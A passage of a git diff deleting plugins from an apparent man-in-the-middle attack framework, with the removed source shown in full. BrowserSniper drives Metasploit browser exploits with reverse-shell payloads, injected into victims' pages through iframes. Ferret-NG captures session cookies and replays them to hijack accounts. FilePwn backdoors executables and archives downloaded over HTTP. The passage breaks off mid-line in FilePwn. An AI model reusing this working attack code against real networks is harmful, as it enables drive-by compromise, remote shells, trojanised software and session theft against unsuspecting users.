pretty_output = pformat(self.output) - mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output)) - - def get_payload(self): - plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py deleted file mode 100644 index c338908..0000000 --- a/plugins/BrowserSniper.py +++ /dev/null @@ -1,194 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import logging - -from time import sleep -from core.msfrpc import Msf -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserSniper(BrowserProfiler, Plugin): - name = "BrowserSniper" - optname = "browsersniper" - desc = "Performs drive-by attacks on clients with out-of-date browser plugins" - version = "0.4" - has_opts = False - - def initialize(self, options): - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - def startThread(self): - self.snipe() - - def onConfigChange(self): - self.initialize(self.options) - - def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) - - def _getRandPort(self): - return random.randint(1000, 65535) - - def _setupExploit(self, exploit, msfport): - - rand_url = self._genRandURL() - rand_port = self._getRandPort() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - Msf().sendcommand(cmd) - - return (rand_url, rand_port) - - def _compat_system(self, os_config, brw_config): - os = self.output['useragent'][0].lower() - browser = self.output['useragent'][1].lower() - - if (os_config == 'any') and (brw_config == 'any'): - return True - - if (os_config == 'any') and (brw_config in browser): - return True - - if (os_config in os) and (brw_config == 'any'): - return True - - if (os_config in os) and (brw_config in browser): - return True - - return False - - def getExploits(self): - exploits = list() - vic_ip = self.output['ip'] - - #First get the client's info - java = None - if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): - java = self.output['java_version'] - - flash = None - if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): - flash = self.output['flash_version'] - - mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) - - for exploit, details in self.config['BrowserSniper'].iteritems(): - - if self._compat_system(details['OS'].lower(), details['Browser'].lower()): - - if details['Type'].lower() == 'browservuln': - exploits.append(exploit) - - elif details['Type'].lower() == 'pluginvuln': - - if details['Plugin'].lower() == 'java': - if (java is not None) and (java in details['PluginVersions']): - exploits.append(exploit) - - elif details['Plugin'].lower() == 'flash': - - if (flash is not None) and (flash in details['PluginVersions']): - exploits.append(exploit) - - mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) - return exploits - - def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions - - #inject iframe - mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) - self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects - - #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds - #Will also make sure the shell actually came from the box that we targeted - mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - - poll_n = 1 - msf = Msf() - while poll_n != 30: - - if msf.sessionsfrompeer(ip): - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - return - - poll_n += 1 - sleep(2) - - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def snipe(self): - while True: - if self.output: - vic_ip = self.output['ip'] - msfport = self.config['MITMf']['Metasploit']['msfport'] - exploits = self.getExploits() - - if not exploits: - if vic_ip not in self.sploited_ips: - mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) - self.sploited_ips.append(vic_ip) - self.black_ips = self.sploited_ips - - elif exploits and (vic_ip not in self.sploited_ips): - mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' - - msf = Msf() - for exploit in exploits: - - pid = msf.findpid(exploit) - if pid: - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) - - self.injectAndPoll(vic_ip, inject_payload) - - sleep(1) diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py deleted file mode 100644 index 9525e86..0000000 --- a/plugins/CacheKill.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger("mitmf") - -class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - version = "0.1" - - def initialize(self, options): - self.bad_headers = ['if-none-match', 'if-modified-since'] - - def serverHeaders(self, response, request): - '''Handles all response headers''' - response.headers['Expires'] = "0" - response.headers['Cache-Control'] = "no-cache" - - def clientRequest(self, request): - '''Handles outgoing request''' - request.headers['pragma'] = 'no-cache' - for header in self.bad_headers: - if header in request.headers: - del request.headers[header] \ No newline at end of file diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py deleted file mode 100644 index 42c426a..0000000 --- a/plugins/FerretNG.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import ast -import sys - -from datetime import datetime -from plugins.plugin import Plugin -from twisted.internet import reactor -from twisted.web import http -from twisted.internet import reactor -from core.utils import shutdown -from core.ferretng.FerretProxy import FerretProxy -from core.ferretng.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.ferret_port = 10010 or options.ferret_port - self.cookie_file = None - - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = ast.literal_eval(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) - - self.tree_info.append("Listening on port {}".format(self.ferret_port)) - - def onConfigChange(self): - mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - def clientRequest(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() - - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] - - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) - entry['host'] = host - entry['cookie'] = cookie - return - - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - - def pluginReactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) - - def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') - - def finish(self): - if not URLMonitor.getInstance().cookies: - return - - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - mitmf_logger.info("[Ferret-NG] Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index b6dd919..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,640 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import zipfile -import logging -import shutil -import random -import string -import threading -import tarfile -import multiprocessing - -from libs.bdfactory import pebin -from libs.bdfactory import elfbin -from libs.bdfactory import machobin -from core.msfrpc import Msf -from core.utils import shutdown -from plugins.plugin import Plugin -from tempfile import mkstemp -from configobj import ConfigObj - -mitmf_logger = logging.getLogger("mitmf") - -class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" - tree_info = ["BDFProxy v0.3.2 online"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - - self.patched = multiprocessing.Queue() - - #FOR FUTURE USE - self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] - - #FOR FUTURE USE - self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip'] - - #USED NOW - self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0}, - 'pe': {'number': 'MZ', 'offset': 0}, - 'gz': {'number': '1f8b'.decode('hex'), 'offset': 0}, - 'bz': {'number': 'BZ', 'offset': 0}, - 'zip': {'number': '504b0304'.decode('hex'), 'offset': 0}, - 'tar': {'number': 'ustar', 'offset': 257}, - 'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0}, - 'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0}, - 'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0}, - } - - #NOT USED NOW - #self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - - #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF) - t.setDaemon(True) - t.start() - - def setupMSF(self): - msf = Msf() - for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: - cmd = "use exploit/multi/handler\n" - cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) - cmd += "set LHOST {}\n".format(config["HOST"]) - cmd += "set LPORT {}\n".format(config["PORT"]) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - pid = msf.findpid('multi/handler') - if pid: - info = msf.jobinfo(pid) - if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): - msf.killjob(pid) - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - else: - msf.sendcommand(cmd) - - def onConfigChange(self): - self.initialize(self.options) - - def convert_to_Bool(self, aString): - if aString.lower() == 'true': - return True - elif aString.lower() == 'false': - return False - elif aString.lower() == 'none': - return None - - def bytes_have_format(self, bytess, formatt): - number = self.magicNumbers[formatt] - if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']: - return True - return False - - def binaryGrinder(self, binaryFile): - """ - Feed potential binaries into this function, - it will return the result PatchedBinary, False, or None - """ - - with open(binaryFile, 'r+b') as f: - binaryTMPHandle = f.read() - - binaryHeader = binaryTMPHandle[:4] - result = None - - try: - if binaryHeader[:2] == 'MZ': # PE/COFF - pe = pefile.PE(data=binaryTMPHandle, fast_load=True) - magic = pe.OPTIONAL_HEADER.Magic - machineType = pe.FILE_HEADER.Machine - - #update when supporting more than one arch - if (magic == int('20B', 16) and machineType == 0x8664 and - self.WindowsType.lower() in ['all', 'x64']): - add_section = False - cave_jumping = False - if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx64['SHELL'], - HOST=self.WindowsIntelx64['HOST'], - PORT=int(self.WindowsIntelx64['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif (machineType == 0x14c and - self.WindowsType.lower() in ['all', 'x86']): - add_section = False - cave_jumping = False - #add_section wins for cave_jumping - #default is single for BDF - if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': - add_section = True - elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': - cave_jumping = True - - # if automatic override - if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': - cave_jumping = True - - targetFile = pebin.pebin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.WindowsIntelx86['SHELL'], - HOST=self.WindowsIntelx86['HOST'], - PORT=int(self.WindowsIntelx86['PORT']), - ADD_SECTION=add_section, - CAVE_JUMPING=cave_jumping, - IMAGE_TYPE=self.WindowsType, - PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']), - SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], - ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']), - PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() - ) - - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF - - targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - if targetFile.class_type == 0x1: - #x86CPU Type - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx86['SHELL'], - HOST=self.LinuxIntelx86['HOST'], - PORT=int(self.LinuxIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - elif targetFile.class_type == 0x2: - #x64 - targetFile = elfbin.elfbin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.LinuxIntelx64['SHELL'], - HOST=self.LinuxIntelx64['HOST'], - PORT=int(self.LinuxIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], - IMAGE_TYPE=self.LinuxType - ) - result = targetFile.run_this() - - elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho - targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) - targetFile.support_check() - - #ONE CHIP SET MUST HAVE PRIORITY in FAT FILE - - if targetFile.FAT_FILE is True: - if self.FatPriority == 'x86': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif self.FatPriority == 'x64': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def serverResponse(self, response, request, data): - - content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) - - process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - #process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) - return {'response': response, 'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in 